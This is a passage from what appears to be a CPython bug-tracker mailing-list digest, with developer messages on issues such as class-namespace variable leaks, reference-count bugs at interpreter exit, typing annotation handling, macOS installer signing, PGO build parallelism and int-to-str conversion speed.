2) solve this issue itself, to pass handler class directly to ignore partial object caused problem, this is a coding logic shelter/fixing because the way we used functools.partical is not as it expected. This is what cpython at github PR30701 already done. (so the use of partical in http.server is not ok, not welcome at least, so based what I said above, the feature/design of partical now confused me, unless its a bug of partical itself which I am not sure.)

Sorry, I didn't look into docs before writing.
Now we have an interesting situation: the documentation reflects the desired state already but the code is not :)
The PR should contain fixes for transports.py and sslproto.py only (plus a blurb record for NEWs).
Sorry for misleading you.

I reworked the PR and went with less specific text and linking to the NIST 800 132 appendix as guidance on how people should determine what is right for them.
there is no one right number. it is application specific.
thanks for everyone's valuable input!

Subject: [issue46544] `textwrap.TextWrapper` leaks two intermediate vars into
class namespace
Message-ID: <1643279113.63.0.318517271456.issue46544@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now this works:
```
>>> import textwrap
>>> textwrap.TextWrapper.x
' '
>>> textwrap.TextWrapper.uspace
32
```
This happens because of these lines: https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L66-L69
Notice that `uspace` and `x` are both undocumented, untested, and unused in our code.
Similar variables in the same class body are then deleted from the scope:
```
wordsep_simple_re = re.compile(r'(%s+)' % whitespace)
del whitespace
```
1. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L99
2. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L106
I propose to add `del x, uspace` as well. These two probably should not be leaking and should not be exposed.

Subject: [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name`
variable
Message-ID: <1643282692.82.0.294408730959.issue46546@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now in `DeprecatedList` there's a possibly unwated name leak of `method_name` here: https://github.com/python/cpython/blob/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85/Lib/importlib/metadata/__init__.py#L295-L308
```
for method_name in [
'__setitem__',
'__delitem__',
'append',
'reverse',
'extend',
'pop',
'remove',
'__iadd__',
'insert',
'sort',
]:
locals()[method_name] = _wrap_deprecated_method(method_name)
```
Example:
```
>>> import importlib
>>> import importlib.metadata
>>> importlib.metadata.DeprecatedList.method_name
'sort'
```
Right now `method_name` is unused, undocumented, and untested.
My proposal is to add `del method_name` after the `for` loop, so it won't leak.

Subject: [issue46547] `pydoc.Helper` leaks several `for` loop variables
Message-ID: <1643283653.02.0.615923361004.issue46547@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Here's the problem. `pydoc.Helper` is defined as:
```
class Helper:
for topic, symbols_ in _symbols_inverse.items():
for symbol in symbols_:
topics = symbols.get(symbol, topic)
if topic not in topics:
topics = topics + ' ' + topic
symbols[symbol] = topics
```
Link: https://github.com/python/cpython/blob/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85/Lib/pydoc.py#L1877-L1882
It causes some unwanted consequences: `topic, symbols_, symbol` are leaking to the class's namespace. Example:
```
>>> import pydoc
>>> pydoc.Helper.symbol
'J'
>>> pydoc.Helper.topic
'COMPLEX'
>>> pydoc.Helper.symbols_
('j', 'J')
```
There's also `topics` var, but it is shadowed later.
So, I propose deleting all intermediate variables right after the `for` loop.

Subject: [issue46548] macOS installers cannot be signed on Monterey
Message-ID: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org>
New submission from Robert Xiao <nneonneo at gmail.com>:
I am building unofficial macOS packages for personal use. My main build machine is running macOS Monterey 12.1 and Xcode 13.2.1. I recently attempted to build Python 3.8.12 as a package using build-installer.py. This worked fine after a bit of dependency wrangling (mostly, downloading the right Tcl/Tk source files manually) and produced an installer package and DMG as expected.
However, it is apparently impossible to actually sign the package. I receive the following error:
% productsign --sign 'Apple Development: ...' /private/tmp/_py/installer/Python.mpkg /private/tmp/_py/installer/Python-signed.mpkg
productsign: preparing "Python.mpkg" for signing ...
productsign: error: component package "PythonFramework-3.8.pkg" uses legacy installer features that make it impossible to sign.
Unfortunately, searching for "legacy installer features" yields zero useful hits, which is a bit of a surprise. I assume that this error message was added to a recent macOS/Xcode build, but I am unable to downgrade easily.
I believe this is probably being triggered because the way the packages are put together differs from the way pkgbuild/productbuild would do it. The longer term solution would probably be to switch to those tools instead of assembling the packages by hand.
Issue reproduces with Python 3.11a4 sources as well, so I'm tagging it as applying for 3.8~3.11.

@rhettinger, the docstring[1] alluded to in the docs is quite lengthy. Are you suggesting copying it straight across to the standard library documentation? If not, can you give (or link to) some documentation standards or other guidance on constructing a viable PR?
Also, for newcomer friendly issues, it is helpful to link to instructions on how to construct and submit a PR for review. That will increase the likelihood of a community-provided fix.

I noticed that the official installer seems to be built using an entirely different process, as it produces a single-file .pkg in xar format with an embedded Distribution file, rather than an .mpkg directory.
Is there documentation on how these packages are generated? It seems like the scripts for that aren't in the Python source tree?

Thanks Kumar! Your change fixed my issue:
$ ./python -I -X showrefcount -c pass
[-5 refs, 0 blocks]
Python no longer leaks memory at exit: it "leaks" exactly *zero* memory block.
The negative reference count is likely caused by bpo-46449.

I don't understand well how static/immortal code object lead to negative _Py_RefTotal. For me, Py_INCREF() and Py_DECREF() should still be used on these objects, no?

Subject: [issue46549] Error in list comprehension conditionals when used in
class attributes
Message-ID: <1643289538.01.0.240777935077.issue46549@roundup.psfhosted.org>
New submission from din14970 <nielscautaerts at hotmail.com>:
I discovered this one by accident. When using a conditional inside a list comprehension in class attributes one can get some unexpected behavior. The following does not work:
```
class TestClass:
list_1 = [1, 2, 3, 4, 5]
exclude = [2, 4]
list_2 = [i for i in list_1 if i not in exclude]
```
It throws a `NameError` saying exclude isn't defined. The following snippets do work:
```
exclude = [2, 4]
class TestClass:
list_1 = [1, 2, 3, 4, 5]
list_2 = [i for i in list_1 if i not in exclude]
```
```
class TestClass:
list_1 = [1, 2, 3, 4, 5]
exclude = [2, 4]
list_2 = []
for i in list_1:
if i not in exclude:
list_2.append(i)
```
```
class TestClass:
list_1 = [1, 2, 3, 4, 5]
exclude = [2, 4]
list_2 = [i for i in list_1]
```
So it seems that only when a class attribute is used in the conditional part of another class attribute a `NameError` is raised.

> The first and last test should use assertAlmostEqual with a suitable tolerance (the default tolerance is probably fine).
The merged PR only added tolerance to the last test. On some architectures, the first test still fails.
(No one is to blame -- this comment should apply to one line but GitHub shows two lines as context: https://github.com/python/cpython/pull/27343#pullrequestreview-714345826 )
Karolina's new PR is waiting for CLA confirmation.

Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit
Message-ID: <1643290963.21.0.405966417129.issue1635741@roundup.psfhosted.org>
STINNER Victor <vstinner at python.org> added the comment:
Thanks to recent enhancements, epecially in bpo-46417, the last memory blocks are now released at Python exit! The initial issue has been fixed!!! This bug was 15 years old! Current main branch:
$ ./python -I -X showrefcount -c pass
[-5 refs, 0 blocks]
"0 blocks" means that Python no longer leaks memory at exit. You can use Valgrind to check it ;-)
The negative reference count is being discussed in bpo-46449.
I close this issue since it has an insane history: too many pull requests, changes, etc.
While the work is not 100% done (we need to convert remaining static types to heap types, and convert extensions to multi-phase init), I prefer to address remaining issues in (existing or new) separated issues. See for example the bpo-40077: "Convert static types to heap types: use PyType_FromSpec()".
I would like to thank everybody who helped to fix this issue! It's hard to list all names since this issue is a meta issues made of many sub-issues which also have sub-issues. Authors of PEP 573 and PEP 630 also helped fixing this issue!

I'm against backporting the new type flag, but we can try to set explicitly tp_set to NULL *after* calling PyType_Ready().

Jason R. Coombs <jaraco at jaraco.com> added the comment:
Thanks Nikita for the report. I agree, it's inelegant that this property leaks. Because this code is synced with importlib_metadata, I'm not sure it's worth the effort of changing it here. Your change here implies a cherry-pick to the backport and updating its changelog there too.
I'd be more inclined to accept a change like this on importlib_metadata, which has a faster iteration and whose changes get naturally incorporated into CPython periodically.
What's the harm in leaving this attribute on a class that is itself standing in for deprecated behavior and slated for removal?

Message-ID: <1643294825.42.0.75112046433.issue46449@roundup.psfhosted.org>
Christian Heimes <lists at cheimes.de> added the comment:
The problem is in PyImport_ImportFrozenModuleObject -> unmarshal_frozen_code() -> frozen_info.get_code() -> _Py_get_importlib__bootstrap_external_toplevel() call chain.
PyImport_ImportFrozenModuleObject() expects unmarshal_frozen_code() to return a strong reference to the code object. However a frozen_info struct with a get_code() function returns a borrowed reference from deepfreeze.c's toplevel code object.
# --- test.c
#include <Python.h>
int main(int argc, char *argv[])
{
for (int i=1; i <= 100; i++) {
Py_SetProgramName(L"./_testembed");
Py_Initialize();
Py_Finalize();
printf("Loop #%d: %zd refs, bootstrap refs: %zd\n", i, _Py_RefTotal, Py_REFCNT(_Py_get_importlib__bootstrap_external_toplevel()));
}
}
# ---
$ gcc -IInclude -I. -o test test.c libpython3.11d.a -lm && ./test
Loop #1: -3 refs, bootstrap refs: 999999998
Loop #2: -8 refs, bootstrap refs: 999999997
Loop #3: -13 refs, bootstrap refs: 999999996
Loop #4: -18 refs, bootstrap refs: 999999995
Loop #5: -23 refs, bootstrap refs: 999999994
Loop #6: -28 refs, bootstrap refs: 999999993
Loop #7: -33 refs, bootstrap refs: 999999992
Loop #8: -38 refs, bootstrap refs: 999999991
Loop #9: -43 refs, bootstrap refs: 999999990
Loop #10: -48 refs, bootstrap refs: 999999989
After I changed unmarshal_frozen_code() to "return Py_NewRef(code);", the reference count of the frozen bootstrap module stays stable, but total refcount increases over time:
Loop #1: 10 refs, bootstrap refs: 999999999
Loop #2: 18 refs, bootstrap refs: 999999999
Loop #3: 26 refs, bootstrap refs: 999999999

Loop #5: 42 refs, bootstrap refs: 999999999

Subject: [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name`

Thanks, Jason! I've submitted https://github.com/python/importlib_metadata/pull/365
> What's the harm in leaving this attribute on a class that is itself standing in for deprecated behavior and slated for removal?
I think it does not do much harm, but there are several things that it affects:
1. Typing, we have to annotate it in typeshed, or write a custom ignore rule for our test suite
2. It is listed in `help()`:
```
| ----------------------------------------------------------------------
| Data and other attributes defined here:
|
| __hash__ = None
|
| method_name = 'sort'
|
| ----------------------------------------------------------------------
```
3. It is also in `dir(importlib.metadata.DeprecatedList)`
So, even if we remove this class in some time, we still should care about it until the removal :)
I am going to close this as "third party".

Subject: [issue46550] __slots__ updates despite being read-only
Message-ID: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org>
New submission from Ian Lee <ianlee1521 at gmail.com>:
Hi there - I admit that I don't really understand the internals here, so maybe there is a good reason for this, but I thought it was weird when I just ran across it.
If I create a new class `A`, and set it's `__slots`:
```python
? ~ docker run -it python:3.10
Python 3.10.2 (main, Jan 26 2022, 20:07:09) [GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> class A(object):
... __slots__ = ["foo"]
...
>>> A.__slots__
['foo']
```
If I then go to add a new attribute to extend it on the class, that works:
```python
>>> A.__slots__ += ["bar"]
>>> A.__slots__
['foo', 'bar']
```
But then if I create an instance of that class, and try to update `__slots__` on that instnace, I get an AttributeError that `__slots__` is read-only, and yet it still is updating the `__slots__` variable:
```python
>>> a = A()
>>> a.__slots__
['foo', 'bar']
>>> a.__slots__ += ["baz"]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'A' object attribute '__slots__' is read-only
>>> a.__slots__
['foo', 'bar', 'baz']
>>> A.__slots__
['foo', 'bar', 'baz']
```
Maybe there is a good reason for this, but I was definitely surprised that I would get a "this attribute is read-only" error, and yet still see that attribute updated.
I first found this in python 3.8.5, but I also tested using docker to generate the above example using docker python:3.10 which gave me python 3.10.2.
Cheers!

Subject: [issue46551] Provide number of workers option for fast PGO build time
Message-ID: <1643296168.42.0.736978713671.issue46551@roundup.psfhosted.org>
New submission from Dong-hee Na <donghee.na at python.org>:
Compiling CPython with the PGO option is good for CPython performance but compile time is very painful since PGO profiling is executed with a single thread.
When I tested with run -m test --pgo -j8, it doesn't affect to optimized result with fast build time.
so I would like to provide the option for the number of workers for PGO build. and also with this feature, we can include more PGO tests more aggressively.
@vstinner, Do you have any suggestions for this option?
- a: ./configure --enable-optimizations --pgo-workers=8
- b: ./configure --enable-optimizations --with-concurrent-pgo
- c: ./configure --enable-optimizations (By detecting system cpu count)
Following metrics is the reference for decision making :)
## Build Time
AS-IS:
real 4m42.799s
TO-BE(this case -j8):
real 2m10.405s
## No performance regression
I didn't check how the environment is reliable but there looks no regression.

Eryk Sun <eryksun at gmail.com> added the comment:
Please read about augmented assignment [1]. In the REPL, use help("+=").
An augmented assignment evaluates the target (which, unlike normal
assignment statements, cannot be an unpacking) and the expression
list, performs the binary operation specific to the type of
assignment on the two operands, and assigns the result to the
original target. The target is only evaluated once.
An augmented assignment expression like x += 1 can be rewritten as
x = x + 1 to achieve a similar, but not exactly equal effect. In
the augmented version, x is only evaluated once. Also, when
possible, the actual operation is performed in-place, meaning that
rather than creating a new object and assigning that to the target,
the old object is modified instead.
Unlike normal assignments, augmented assignments evaluate the left-
hand side before evaluating the right-hand side. For example,
a[i] += f(x) first looks-up a[i], then it evaluates f(x) and
performs the addition, and lastly, it writes the result back to
a[i].

You only test libregrtest.main and libregrtest.runtest_mp modules which don't execute code. Does it mean that running tests is useless to train the PGO?
Or does PGO magically aggregates results when multiple processes are run?

Sorry, I didn't check all affects except performance regression,
and there was already related discussion and decided not to do:
https://bugs.python.org/issue24915#msg251128
'I think the --pgo flag needs only work in single process mode, since
multi-process would probably not write out the profiling data properly.'
I close the issue as won't do.

Yes, we should expose the tuple of variable names, both in Python and in the C-API.
Would something like
`PyCodeObject_GetVariableName()` and `PyCodeObject_GetVariableKind()` work?
In the meantime, since you were reading `co_varnames` directly, why not read `co_localsplusnames` directly?
OOI, how do you cope with non-local self?

Of these 135 static types, most are cleared since bpo-46417 was implemented:
* 103 types are cleared by _PyTypes_FiniTypes()
* 15 types are cleared by _PyIO_Fini()
* the remaining 17 types are not cleared at Python exit: types of _ctypes, _curses and _multiprocessing extensions

Eric Snow <ericsnowcurrently at gmail.com> added the comment:
In addition to what Mark said, note that co_varnames get's populated lazily by the Python-level getter for code.co_varnames. So could you call the Python function before entering the hot path?
Regardless, a dedicated C-API for this like Mark suggested would be the better solution.

Mark Dickinson <dickinsm at gmail.com> added the comment:
Low priority, but it may also be worth updating the implementation of `Vec2D.__abs__`. It currently looks like this:
def __abs__(self):
return (self[0]**2 + self[1]**2)**0.5
But would be more robust if it used hypot:
def __abs__(self):
return math.hypot(self[0], self[1])

Apologies; looks like I'm out of date on this. It's already using hypot, which makes it more than a little worrying that it doesn't get the right answer for `Vec2D(6, 8)`.

Sorry again, all; I failed to read everything that was going on here. The test *wasn't* failing with the hypot-based version of Vec2D.__abs__ that's in the main branch; only with the "**0.5"-based version that was still in the older branches. Please ignore this and the previous two messages ...

Subject: [issue46552] typing: get_type_hints can't handle stringified
annotations with leading spaces
Message-ID: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org>
New submission from Gregory Beauregard <greg at greg.red>:
```
class C:
a: " ClassVar[int]" = 3
get_type_hints(C, globals()) # SyntaxError: Forward reference must be an expression -- got ' ClassVar[int]'
```
I discovered while investigating the viability of moving dataclasses.py to using typing.py's internal type introspection tools that it can't handle stringified annotations with leading spaces.
This is covered in dataclasses unit tests: https://github.com/python/cpython/blob/26b0482393a313e3bda364a35e7417e9db52c1c4/Lib/test/test_dataclasses.py#L3033
The relevant failing code in typing.py is here: https://github.com/python/cpython/blob/26b0482393a313e3bda364a35e7417e9db52c1c4/Lib/typing.py#L671
Leading spaces are treated like indention so there's a syntax error.
This would be trivial to fix by adding an lstrip() to the compilation code, but it's not clear to me this should be considered a bug. Should this be left as-is, or changed? I'm happy to submit a patch if there's agreement it's a bug.

I vote we don't change this. PEP 484 says:
> The string literal should contain a valid Python expression (i.e., compile(lit, '', 'eval') should be a valid code object) and it should evaluate without errors once the module has been fully loaded.
But compile() fails for leading whitespace.
I also don't see a real use case for this. The dataclasses tests were presumably just added for completeness. If there's evidence this is a common pattern in the wild maybe we can reconsider.

Technically, zodbpickle works on Python 3.11 and is not impacted by the Py_SIZE() change.
_pickle_33.c redefines the Py_SIZE() macro to continue using as an l-value:
https://github.com/zopefoundation/zodbpickle/commit/8d99afcea980fc7bb2ef38aadf53300e08fc4318
I proposed a PR to use Py_SET_SIZE() explicitly:

The old code has an incorrect usage of `io.IncrementalNewlineDecoder`. Since the `decode` method is called only once, is it the final call and needs the `final=True` argument as documented in https://docs.python.org/dev/library/codecs.html#codecs.IncrementalDecoder.decode
It happens that in those cases, the results are correct in spite of the incorrect usage.

Message-ID: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org>
New submission from Gregory Beauregard <greg at greg.red>:
```
class C:
a: "ClassVar"
get_type_hints(C, globals()) # TypeError: Plain typing.ClassVar is not valid as type argument
```
A stringified lone ClassVar raises at runtime, but this pattern is tested for in dataclasses unit tests and used in the wild. The PEP is not clear that it should or should not be used with arguments, and it works fine when not stringified.
The fix for this is trivial and I can submit a patch if there's agreement.

PR 27518 fixes a substitution of a ParamSpec variable with a Concatenate nad a list of types. It is not specified explicitly in PEP 612, but it does not contradict it.
PR 30969 makes an ellipsis be valid as the last argument of Concatenate to fix a substitution of a ParamSpec variable with an ellipsis. It contradicts with PEP 612 which allows only a ParamSpec variable there.

Eric V. Smith <eric at trueblade.com> added the comment:
dataclasses is no doubt too lenient. But it's just trying to accept valid strings that look like ClassVar. Way back when this was initially implemented, we decided that calling get_type_hints would be too expensive for every dataclass, and would also neccesitate importing typing, which we didn't want to require.
I think someone needs to do an analysis of how expensive it would be for dataclasses to import typing and to call get_type_hints. Perhaps we'd make a different decision today.

Subject: [issue46554] Add append keyword argument to Path.write_text() and
Path.write_bytes()
Message-ID: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org>
New submission from Keelung Yang <keelung_yang at 163.com>:
Three reasons to improve issue 35095: Implement pathlib.Path.append_bytes and pathlib.Path.append_text
1. If I want to append text to log at each startup(before calling basicConfig), there is no simple way to do this.
2. Adding append keyword is better then adding new APIs.
3. From stackoverflow: How does this make the classes clean? They already contain the write_* methods which are just not flexible enough. If the methods (or classes) are not dirty how would e.g. adding an optional parameter append=False to them make them dirty? https://stackoverflow.com/questions/57296168/pathlib-path-write-text-in-append-mode
So, this patch is just an implementation of discussions in above stackoverflow link.

Message-ID: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org>
New submission from Kodiologist <nonce0010lep at arfer.net>:
I'm not sure if this is a bug, but it certainly surprised me. Most reserved words, when Unicode-mangled, as in "???", act like ordinary identifiers (see e.g. bpo-46520). `True`, `False`, and `None` are weird in that Unicode-mangled versions of them refer to those same constants initially, but can take on their own identity as variables if assigned to:
Python 3.9.7 (default, Sep 10 2021, 14:59:43)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ????
True
>>> True = 0
File "<stdin>", line 1
True = 0
^
SyntaxError: cannot assign to True
>>> ???? = 0
>>> True
True
>>> ????
0
I think that `???? = 1` should probably be forbidden. The fact that `????` doesn't always mean the same thing as `True` seems to break the rule in PEP 3131 that "comparison of identifiers is based on NFKC".

Most of the time you don't need an 'append' mode. And when you do, most
of the time you'll need to append multiple times, in which case
`path.open('a')` is a much better bet.

Before you start supporting things that contradict PEP 612 this should be discussed on typing-sig (or in the python/typing tracker).
Honestly I'd feel more comfortable if there was agreement on typing-sig with your previous PRs in this issue as well; "it does not contradict it" is not a ringing endorsement. :-)

Very interesting. Do we have any current (or even cutting edge, i.e. 3.11) timings for individual instructions? Or a breakdown of how frequently different instructions are invoked? I remember Carl Shapiro presenting his findings here several years ago (I think in the penultimate in-person Language Summit).

In a typical run of the pyperformance benchmark suite, rotations account for a bit over 1% of all instructions executed.
I don't have timings for individual instructions, unfortunately.

Mark Shannon <mark at hotpy.org> added the comment:
Timings for individual instructions are a bit meaningless, as out-of-order execution and speculation on modern CPUs makes it hard to pin down the timing of anything.
I did an experiment to double the number of instructions. It slowed things down by ~10%, so increasing the number of instructions by 1% would be expected to result in a slowdown of 0.1%.
In other words, this is going to make little or no difference to performance. It does make things cleaner and simpler though, which has its own benefits.

Were the extra instructions just NOPs, or were they actually doing any work?
If they were NOPs, then presumably those numbers tell us more about the overhead of dispatch and cache pressure than anything else.

Steve Dower <steve.dower at python.org> added the comment:
I think we need somewhere in the documentation to explain how the initial import path is calculated, in terms useful for an end user (rather than what's in getpath.py, which is for developers).
Right now, I'm not sure there's a good place for it. There's a Windows-specific page with some detail, but we probably need something more generic. Probably it belongs under Doc/using/cmdline.rst (the environment variables section there is tempting, but I expect those would be updated to point to an easier to follow explanation. We'd also point to it from sys.path.
Without adding the new section, there isn't really anywhere sensible to mention it.

Gregory Beauregard <greg at greg.red> added the comment:
It's acceptable to mypy, and pyright added support a few months ago when I made an issue and Eric Traut discovered this pattern in the wild too.
Some of the other type checkers (pyre) still error I believe. My feeling is that since this has apparently become used in practice we should fix the runtime error for when it's stringified, but we don't necessarily need to prescribe that it's a legal type annotation for type checkers (?). If I was prescribing how to use ClassVar in a vacuum, I don't see any good typing reason we should prohibit this.
re: moving dataclasses: I'm not sure either! I'm trying to look into the issues it brings up in practice to weigh against the difficulties of maintaining the existing bespoke introspection implementation and the problems it has (dealing with stringified annotations, supporting renaming the Annotated symbol).
I made an implementation that fully moves dataclasses over to using `get_type_hints` (and got all the tests to pass), but my feeling right now is that a few issues are too serious for it to be viable:
1) the namespaces are a mess, and issues like https://github.com/python/typing/issues/508 don't have a solution at the moment
2) get_type_hints paints a wide brush on the entire class when it raises for errors, so it's not very viable to deal with non-typing non-Annotated[] annotations as a one-off
There's also nontechnical issues, like the potential politics of making dataclasses always import typing. I'll be updating bpo-46511 later with thoughts.

Hi Eric,
to follow up on https://bugs.python.org/msg411943
I'm currently a bit negative on moving to get_type_hints, even though I got it working for the test suite. I think your worries with nesting are well placed, particularly with namespaces and such.
In that vein, I suggest we move forward with patching the existing implementation with the discussed regex restrictions. I'm not sure if you want to remove the test cases with leading spaces; it seems not too important.
While we're there I found a bug in the test suite, a missing comma that can be fixed at the same time:
https://github.com/python/cpython/blob/b1a3446f077b7d56b89f55d98dadb8018986a3e5/Lib/test/test_dataclasses.py#L3080
Do you have any other concerns before I take a stab at this?

I was hoping to wait until the PEP 649 / PEP 563 thing was decided. But I realize that no matter how that turns out, there will be a need to deal with string annotations.
So I think I'm okay with the regex changes. Personally, I think we should remove support for leading spaces and should remove the tests, too. I guess there's some argument that there should be a deprecation period, I think it's just invalid syntax and shouldn't be supported.
Go ahead and put together a PR.

IIRC, Carl got a lot of benefit out of reordering the opcodes in the main loop to put the most common ones at the top. I don't know if that is still relevant or whether computed gotos, when enabled, change that calculus.

Of course, here's an example script to reproduce:
```
import logging
import warnings
import sentry_sdk
from sentry_sdk.integrations.logging import LoggingIntegration
logging.captureWarnings(True)
sentry_logging = LoggingIntegration(
level=logging.INFO,
event_level=logging.WARNING
)
sentry_sdk.init(
"<ingest URL>",
traces_sample_rate=1.0,
integrations=[
LoggingIntegration(
level=logging.INFO,
event_level=logging.WARNING
)
]
)
warnings.warn("A warning")
warnings.warn("Another warning")
```
I attached a file of what it looks like in the Sentry UI. Notice both warnings under the same issue. When logging warnings directly with the logging module, each message arrives as a separate issue. These warnings from the warnings module are both grouped together under the same issue since Sentry groups all logs with the same format string together.

Quick update on this closed issue.
I landed on this issue from Erlend's SC request: https://github.com/python/steering-council/issues/99
> Oh! I assumed this bug wasn't resolved, but it is -- in bpo-34784. Sorry, I should have checked!
Yes, there is the PyStructSequence_NewType() function which exists since 2010 (PEP 384 implementation: commit 4d0d471a8031de90a2b1ce99c4ac4780e60b3bc9).
I recently added _PyStructSequence_NewType() to the internal C API to pass flags like Py_TPFLAGS_DISALLOW_INSTANTIATION. I modified signal, _curses, time and _thread modules to use it.
On the other side, I added _PyStructSequence_FiniType() to clear a static structseq (bpo-46417).

Raymond:
> Is the subinterpreters work still on hold pending a PEP?
While sub-interpreters is one motivation to convert static types to heap types, it's not the only one.
IMO it's better to use the "embedded Python" use case to justify these changes, since embedding Python is non controversial and is already widely used.
For me, another motivation (related to embedded Python) is to release all memory in Py_Finalized(): see bpo-1635741. While this main issues is now closed, Python still leaks memory when you import C extensions using static types: see bpo-40077.
--
Hai Shi proposed to add a PyStructSequence_FromModuleAndDesc() function but right now, I'm not sure which C extension requires to retrieve a module state from a structseq object. Usually, structseq types have no method. So I don't see the need to reopen the issue.
I just wanted to comment this closed issue ;-)

Message-ID: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org>
New submission from Tim Peters <tim at python.org>:
Our internal base conversion algorithms between power-of-2 and non-power-of-2 bases are quadratic time, and that's been annoying forever ;-) This applies to int<->str and int<->decimal.Decimal conversions. Sometimes the conversion is implicit, like when comparing an int to a Decimal.
For example:
>>> a = 1 << 1000000000 # yup! a billion and one bits
>>> s = str(a)
I gave up after waiting for over 8 hours, and the computation apparently can't be interrupted.
In contrast, using the function in the attached todecstr.py gets the result in under a minute:
>>> a = 1 << 1000000000
>>> s = todecstr(a)
>>> len(s)
301029996
That builds an equal decimal.Decimal in a "clever" recursive way, and then just applies str to _that_.
That's actually a best case for the function, which gets major benefit from the mountains of trailing 0 bits. A worst case is all 1-bits, but that still finishes in under 5 minutes:
>>> a = 1 << 1000000000
>>> s2 = todecstr(a - 1)
>>> len(s2)
301029996
>>> s[-10:], s2[-10:]
('1787109376', '1787109375')
A similar kind of function could certainly be written to convert from Decimal to int much faster, but it would probably be less effective. These things avoid explicit division entirely, but fat multiplies are key, and Decimal implements a fancier * algorithm than Karatsuba.
Not for the faint of heart ;-)

> valgrind reports leaks for test_zipimport
It's not strictly a memory leak: running the same code multiple time doesn't leak memory. It's just that Python allocates memory once and never releases it (doesn't releast it at exit).
---
leak4.py: Updated and simplified script.
If the code is run 10 times, it doesn't leak. With 1, 10 or 100 loops (LOOPS=100), Python still says the same at exit:
$ ./python -I -X showrefcount leak4.py
[1574 refs, 664 blocks]
Using cannot_deallocate2.patch of bpo-46417, I can see that multiple static types are not cleared at Python exit:
---
Cannot deallocate type 'Exception': it still has subclasses
* error
Cannot deallocate type 'BaseException': it still has subclasses
* Exception
Cannot deallocate type 'dict': it still has subclasses
* collections.defaultdict
Cannot deallocate type 'object': it still has subclasses
* dict
* BaseException
* itertools.accumulate
* itertools.combinations
* itertools.combinations_with_replacement
* itertools.cycle
* itertools.dropwhile
* itertools.takewhile
* itertools.islice
* itertools.starmap
* itertools.chain
* itertools.compress
* itertools.filterfalse
* itertools.count
* itertools.zip_longest
* itertools.pairwise
* itertools.permutations

* itertools._tee
* itertools._tee_dataobject
* collections.deque
* _collections._deque_iterator
* _collections._deque_reverse_iterator
* _collections._tuplegetter
* _struct.Struct
* _struct.unpack_iterator
---
The _collections, itertools and _struct extensions implement types as static types which are not cleared at Python exit. It explains why Python says that there are still 664 memory blocks allocated at Python exit (664 blocks).
I consider that this issue is a duplicate of bpo-40077.

Message-ID: <1643338351.59.0.133820925399.issue46559@roundup.psfhosted.org>
New submission from hello world <qp3839 at gmail.com>:
According to the documentation of base64 (https://docs.python.org/3/library/base64.html),
> Optional altchars must be a bytes-like object of at least length 2 (additional characters are ignored) which specifies an alternative alphabet for the + and / characters.
but this explanation is out-dated.
Actually this had been correct until the commit `4581ae5fa2450db3f00384e4b2e86654605100d4` was made for cpython in "2007".
(Thus, the explanation has been incorrect for about 15 years.)
The current implementation requires the length of `altchars` to be exactly two, as explicitly written in the comment:
> Optional altchars should be a byte string of length 2 which specifies an alternative alphabet for the '+' and '/' characters.
and the corresponding assertion is:
> assert len(altchars) == 2, repr(altchars)

@barneygale,
This is for simplifying code and improve readability, since `Readability counts` in The Zen of Python.
Users needn't two lines code to append a file. And there is a minimal modifying to reach it.
If inexperienced users are falling into the hole, just let them in and then learned sth. Because they will go out of the hole sooner or later.
And finally, two lines cann't prevent them from falling into the hole.

Dennis, partly, although that was more aimed at speeding division, while the approach here doesn't use division at all.
However, thinking about it, the implementation I attached doesn't actually for many cases (it doesn't build as much of the power tree in advance as may be needed). Which I missed because all the test cases I tried had mountains of trailing 0 or 1 bits, not mixtures.
So I'm closing this anyway, at least until I can dream up an approach that always works. Thanks!

I created a PR https://github.com/python/cpython/pull/30976 which adjusts _Py_RefTotal and refcnt of immortal codeobjects to account for Py_INCREF/Py_DECREF on codeobjects. With that patch refcnt is 8 and increases by 8 with each initialization of Python.

New submission from Maxwell Bernstein <tekk.nolagi at gmail.com>:
Currently the descriptor (self) argument to __get__ is passed borrowed, since _PyType_LookupId returns a borrowed reference (see _PyObject_LookupSpecial and lookup_maybe_method in Objects/typeobject.c). This should instead own the reference.

Why? Callee-borrowing-from-caller is the established norm across the C API. You mention use-after-free, but can you elaborate on how that can happen in practice?
https://docs.python.org/3/extending/extending.html?highlight=borrowed#ownership-rules says:
"""When you pass an object reference into another function, in general, the function borrows the reference from you ? if it needs to store it, it will use Py_INCREF() to become an independent owner."""

Russel Webber <russel at computer.org> added the comment:
I agree wholeheartedly, an explantation of sys.path initialisation would be very helpful. I've seen too many hacks in end user Python code due to misunderstandings around sys.path initialisation and the available ways to customise sys.path. I'll work on this, try to write an easy to follow explanantion and see where the other documentation needs to be amended to point to a new section.

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
Usually, when you benchmark a non-trivial piece of code, you need also to specify a setup code. If the benchmarked code is large enough to be read from a file, the setup code should be read from a file too.
The common practice is to write the benchmarked code as a function which can be imported and repeatedly executed.
$ python -m timeit -s 'from mybench import test' 'test()'

Subject: [issue46550] __slots__ updates despite being read-only
In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org>
Message-ID: <1643366866.76.0.351190503757.issue46550@roundup.psfhosted.org>
